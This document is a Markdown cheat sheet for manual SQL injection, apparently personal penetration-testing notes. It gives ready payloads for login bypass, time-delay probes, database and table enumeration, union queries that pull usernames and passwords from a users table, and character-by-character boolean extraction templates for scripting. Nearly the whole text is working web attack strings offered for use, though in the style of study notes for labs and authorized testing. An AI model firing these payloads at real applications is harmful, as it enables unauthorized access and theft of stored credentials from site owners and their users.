Skip to content

Latest commit

 

History

History
283 lines (191 loc) · 8.65 KB

sql_injection.md

File metadata and controls

283 lines (191 loc) · 8.65 KB

SQL Injections

  _   ___  ___  ___  ___   ___   _ _____ _   ___   _   ___ ___                    _           
 ( ) |   \| _ \/ _ \| _ \ |   \ /_\_   _/_\ | _ ) /_\ / __| __|  _ __ _ _ ___  __| |  ___ ___ 
 |/  | |) |   / (_) |  _/ | |) / _ \| |/ _ \| _ \/ _ \\__ \ _|  | '_ \ '_/ _ \/ _` | |___|___|
     |___/|_|_\\___/|_|   |___/_/ \_\_/_/ \_\___/_/ \_\___/___| | .__/_| \___/\__,_|          
                                                                |_|                           

This file is mostly for manual SQL injections.

There should be separate notes for SQLMap somewhere.

Table of Contents:

Detection

When doing manual enum, throw some special characters into a parameter and see if it breaks anything in an unexpected way:

'"(){};
'"(){}; -- -#/*

But you might also be able to trigger a lot with just a single '.

The most basic SQL login bypass:

  • user: ' or '1'='1'-- -
  • pass: ' or '1'='1'-- -

Sometimes you need to escape a function first before you can execute any query:

') <your injection> -- -

or

) <your injection> -- -

It might require a bunch of brackets: '))) <your injection> -- -

Some SQL injections are blind, they do not return anything visible on the page like added data or an error message. You usually can check those with time based delays.

;WAITFOR DELAY '0:0:5'-- -
);WAITFOR DELAY '0:0:5'-- -
');WAITFOR DELAY '0:0:5'-- -
;WAIT FOR DELAY '0:0:5'-- -
);WAIT FOR DELAY '0:0:5'-- -
');WAIT FOR DELAY '0:0:5'-- -
;SELECT PG_SLEEP(5)--
);SELECT PG_SLEEP(5)--
');SELECT PG_SLEEP(5)--
-SLEEP(15)
-BENCHMARK(100000000, rand())

If the server seems to 'freeze' for the given sleep time, then it worked.

Comments

  • MySQL: #, --
  • MS SQL: --
  • MS Access: %00 (hack!)
  • Oracle: --

You often need to get rid of the part of the query that comes after your injection. You can do that by simply commenting out the remainder of the query.

Most often the two minuses work:

--

But sometimes it is required that there is a space after the minuses: -- . An additional character afterwards ensures the space does not get removed in some strip() or trim() function.

So this is the preferred method that almost always work:

-- -

Multi-line comments are also supported sometimes: /* comment goes here */. Obviously this might not always work because you can only control the comment start /*. Maybe you can create some funny results through multiple injection points into the same query.

Some engines also support the hash character # to initiate a comment.

Database Software Enum

After gaining basic control, the first thing you want to do is try to find out what you are working with. That will determine the syntax you have to use and where you have to look for interesting data.

Version

  • Oracle : select banner from v$version-- -
  • Mysql : select VERSION(); ;alternatively: SELECT @@version
  • MSSQL : SELECT @@version
  • PostgreSQL : SELECT version()

Tables

Databases besides Oracle usually support:

SELECT * FROM information_schema.tables
SELECT TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE FROM information_schema.tables

The column names of a table work similar:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'
SELECT TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE WHERE table_name = 'Users'

Oracle all tables:

SELECT * FROM all_tables
SELECT TABLE_NAME,TABLESPACE_NAME,OWNER FROM all_tables

Oracle column names:

SELECT * FROM all_tab_columns
SELECT COLUMN_NAME,DATA_TYPE,TABLE_NAME FROM all_tab_columns WHERE TABLE_NAME='users'

Current User

session_user
current_user
user
user()

Union-based attacks

  • When to use: There is a generated list/table of items generated by an injectible query
  • Target result: Include the rows of another table into the generated list/table (like username, password of a users table)

Figure out number of selected rows

You can use the order by keyword. The query will error out if you order by a number greater than the available rows.

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY 4--
... etc.

Alternatively you might be able to union select some data constants:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
... etc.

or

' UNION SELECT 1--
' UNION SELECT 1,2--
' UNION SELECT 1,2,3--
... etc.

The last version might not always work, but the benefit is that you can see where each row ends up in the printed table.

After you figured out the number of rows you want to figure out data type of each row:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'-- 

For integers do the same with some constant number.

On Oracle you might have to use a table even for constant data values, use the build-in DUAL table then:

' UNION SELECT NULL,NULL FROM DUAL--. 

Example

' union select username,password from users-- -

Error-Based

  • When to use: When you get to see the error output of a query. Also when Union-based is impracticable (union is usually preferable). Login pages tend fall in this category.
  • Target result: Leak database content via error output. OR confirm an assumption (boolean) based on whether there is an error.

There are basically two kinds of error-based injections. Which one you use depends on how the server handles failed queries:

  1. There is a print-out of the error
  2. The server just returns a generic error (e.g. 500 Internal Server Error) or some part of the displayed website is different when the query fails

The first option is easier to handle when injecting manually, because the server is nice enough to print out database content for you to read. The trick is then to have the error print out the database content you are interested in.

The second option is more useful when writing a script that enumerates the database for you (or when you use SQLMap). It will use boolean logic to enumerate the database. The downside of this method is that you will usually have to enumerate every single character of a query response instead of receiving full string outputs like you would with the first method. Usually this is considered a blind SQL injection.

Also it is noteworthy that the second option (boolean based) always works, regardless of whether the server returns a full error printout or just an error status code. So if you have some tool that handles it for you, it will work either way as long as there is some kind of error.

Error print-out

...

Error Boolean

Basically you check each character of a query result via substring function.

You will have to adjust the connector (AND/OR/UNION) according to the query you are injecting.

SQLite

' and substr(({qu}),{ind},1) == '{cha}'
' and substr((select password from users where username == 'admin'),7,1) == 'j'

Postgres

' or SUBSTRING(({qu}),{ind},1) = '{cha}' -- -
' or SUBSTRING((select password from users where username='administrator'),7,1) = 'j' -- -

Without stacked query (Postgres):

' UNION SELECT 'a' FROM users WHERE username = 'administrator' and SUBSTRING(password, 1, 1) > 'm'

Usually a good idea to use a script.

Time-Based

This is usualy the method you fall back on if union-based and error-based did not work. Considererd a "blind" method.

Like error-based injections you can apply boolean logic to enumerate the database. You trigger a wait time when the query output fits your expectation. For instance if the first character is a 'J' you sleep for x amount of seconds. That way you can receive an entire query programmatically, character by character.

You can do this a bit smarter: you can vary the sleep time based on the matching character, that way you can narrow down the character with fewer queries. Just measure how long the server sleeps. But that takes some noteworthy programming effort. Usually it's easier to just say Yes or No. I won't cover this here.

Concatinate several rows

Maybe you can only control a single row or you have to deal with multi line output, then you need to concat content.

Oracle:

' union select NULL,username || '~' ||password from users-- -

Which selects the rows username and password into one row like 'admin~password123'